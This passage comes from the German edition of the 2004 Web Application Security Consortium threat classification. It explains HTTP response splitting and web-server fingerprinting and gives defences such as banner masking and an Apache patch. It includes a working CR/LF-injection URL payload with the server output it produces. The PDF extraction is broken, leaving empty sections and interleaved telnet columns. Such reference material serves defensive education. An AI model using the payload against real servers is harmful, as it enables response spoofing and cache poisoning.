<html><head><title>302 Moved
Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved
temporarily.</p>
<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http:
//10.1.1.1/by_lang.jsp?lang=English</a>.</p>
</body></html>
63
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Machen wir weiter mit dem Einbau des HTTP-Response-Splitting-
Angriffs. Anstatt den Wert English zu senden, senden wir einen Wert,
der URL-encoded CR/LF-Sequenzen enthält, die die aktuelle Response
beenden und eine weitere Response erzeugen. So wird es gemacht:
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
Das resultiert darin, dass der Webserver folgenden Datenstrom über die
TCP-Verbindungen sendet:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20
23:06:40 PDT 2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7
IyrCST9UsS!-1251019693; path=/
[...]
Wenn der Angreifer das Target mit zwei Requests versorgt, wobei der
erste folgende URL ist:
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
/index.html
dann glaubt das Target, dass die erste Response zum ersten Request
gehört:
Und die zweite Response (für /index.html) wird dem zweiten Request
zugeordnet:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Nun ist dieses Beispiel, wie auch in [1] erklärt, sehr einfach. Es
berücksichtigt nicht die Probleme, wie einige Targets den TCP-
Datenstrom verarbeiten, Probleme mit den überflüssigen Daten,
65
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Probleme mit Data-Injection und wie das Caching erzwungen werden
kann. Das und Vieles mehr ist in [1] im „practical consideration”
Abschnitt beschrieben.
Lösung
Referenzen
Das normale Ziel des Angreifers ist, den Webaufritt des Targets zu
identifizieren und so viele Information wie möglich zu erhalten. Mit
dieser Information kann der Angreifer ein genaues Angriffszenario
entwickeln, welches effektiv die Schwachstelle in des Softwaretyps und
-Version des Angriffsziels ausnutzt.
Beispiel
Connected to Connected to
target1.com. target2.com.
Connection closed by
Connection closed by foreign host.
foreign host.
Connected to Connected to
target1.com. target2.com.
Connected to Connected to
target1.com. target2.com.
Last-Modified: Fri, 04
May 2001 00:00:38 GMT
ETag: "4de14-5b0-
3af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
Connection closed by
foreign host.
72
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
# telnet target1.com 80 # telnet target2.com 80
Connected to Connected to
target1.com. target2.com.
Content-Length: 0 Content-Length: 0
Cache-Control: private
Connection closed by
foreign host.
Connected to Connected to
target1.com. target2.com.
accept-charset
ETag: "4de14-5b0-
3af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
Connection closed by
foreign host.
Der Ausschnitt des Perl-Codes unten, der von der main.test-Datei von
Whisker 2.1 stammt, macht 2 Tests, um festzustellen, dass das Ziel
wirklich ein Apache-Server ist, egal was der Banner Glauben macht.
Der erste Request ist ein „GET //” und wenn der HTTP-Status-Code
200 ist, dann wird der nächste Request gesendet. Der zweite Request
ist „GET/%2f”, welcher URI-encoded ist – und zu „GET //” wird.
Diesmal antwortet Apache mit HTTP-Status-Code 404 – Not Found.
Andere Webservers – IIS – liefern nicht denselben Status-Code für
diesen Requests:
m_re_banner('Apache',$Aflag);
Testet man mit Whisker die Ziel-Website, dann zeigt der Report auf
Grund des vorherigen Tests, dass der Webserver wirklich ein Apache-
Server ist. Unten ist ein Beispielabschnitt eines Whisker-Reports:
------------------------------------------
Title: Server banner
Id: 100
Severity: Informational
76
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
The server returned the following banner:
Microsoft-IIS/4.0
------------------------------------------
Title: Alternate server type
Id: 103
Severity: Informational
Lösungen
ServerTokens Prod[uctOnly]
der Server sendet z. B.: Server: Apache
ServerTokens Min[imal]
der Server sendet z. B.: Server: Apache/1.3.0
ServerTokens OS
der Server sends z. B.: Server: Apache/1.3.0 (Unix)
78
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Verwendung irreführender Header
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
79
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Date: Sun, 30 Mar 2003 21:59:46 GMT
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Via: 1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)
X-Cache: MISS from www.nonexistenthost.com
Content-Length: 2673
Connection: close
Das täuscht vor, dass wir einen Squid-Proxy-Server benutzen und die
Daten von einem nicht-existierenden Server kommen. Dies kann den
Angreifer dazu verleiten, Squid-Exploits gegen unseren Apache-Server
auszuführen, was natürlich nicht erfolgreich sein wird, oder der im X-
Cache-Header angegeben Rechner wird angegriffen, der gar nicht
existiert.
Wenn wir ein Tool wie ModSecurity für Apache verwenden, können wir
HTTP-RFC-konforme Filter bauen, die auf solche abnormale Requests
reagieren. Hier sind einige Einträge in der httpd.conf für ModSecurity:
Quellcode-Änderung
Reihenfolge Header – Unten ist ein Patch für den Sourcecode des
Apache 1.3.29, der die Reihenfolge von Date und Server und die
Ausgabe der OPTIONS-Methode für den IIS simuliert. Dieser Patch
ändert die Datei http_protocol.c im Verzeichnis
/apache_1.3.29/src/main. Der Abschnitt zu OPTIONS liefert Header, die
normalerweise einer IIS-Response zugeordnet werden. Das beinhaltet
den Public, DASL, DAV und Cache-Control Header.
82
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
+ /* output the date header */
+ ap_send_header_field(r, "Date", ap_gm_timestr_822(r-
>pool, r->request_time));
+
/* unset so we don't send them again */
ap_table_unset(r->headers_out, "Date"); /* Avoid
bogosity */
ap_table_unset(r->headers_out, "Server");
@@ -1716,7 +1716,9 @@
ap_basic_http_header(r);
Referenzen
„URLScan Tool”
http://www.microsoft.com/downloads/details.aspx?FamilyID=f4c5a
724-cafa-4e88-8c37-c9d5abed1863&DisplayLang=en
„ServerMask Tool”
http://www.port80software.com/products/servermask/
84
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Glossar
• application Anwendung
• attack Angriff
• attacker Angreifer
• authentication Authentifizierung, Beglaubigung
• authorization Authensisierung, Berechtigung erteilen
• authority Autorität, Kontrollstelle (-behörde)
• brute force „mit roher Gewalt”
• buffer overflow Pufferüberlauf
• cipher Chiffre
• certificate Zertifikat
• decode dekodieren, (auch entschlüsseln)
• decrypt entschlüsseln
• encode kodieren, (auch verschlüsseln)
• encrypt verschlüsseln
• enumeration Aufzählung
• file extension Datei-Extension, Dateinamenserweiterung
• fixation Bindung, Fixierung
• fraud Betrug, erschleichen
• hash Prüfsumme
• hijacking Entführung
• replay Wiederholung
• script Skript
• security Sicherheit, Sicherung
• spoofing Verschleierung (im Sinne von fälschen)
• thread (Faden, Gewinde) in der IT ein Teilprozess im
Gegensatz zum eigenständigen Prozess
• threat Bedrohung
• user Benutzer, Anwender
• vulnerability Schwachstelle
85
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
3 Gebräuchliche Abkürzungen
• CA Certificate Authority
• CGI Common Gateway Interface
• CSRF Cross-site Request Forgery
• CVE Common Vulnerability E...
• DoS Denial of Service
• HTTP Hyper Text Transfer Protocol
• HTML Hyper Text Markup Language
• ID Identifier
• MiTM Man in the Middle
• OWASP Open Web Application Security Project
• SSL Secure Socket Layer
• URI Uniform Resource Identifier
• URL Uniform Resource Locator
• WAF Web Application Firewall
• WAS Web Application Security
• WAS-TC Web Application Security Threat Classification
• XSS Cross-site Scripting
86
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Lizenz
Diese Arbeit steht unter der Creative Commons Attribution License. Die
Lizenz findet man unter http://creativecommons.org/licenses/by/2.5/
oder schreiben Sie an: Creative Commons, 559 Nathan Abbott Way,
Stanford, California 94305, USA.
87
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten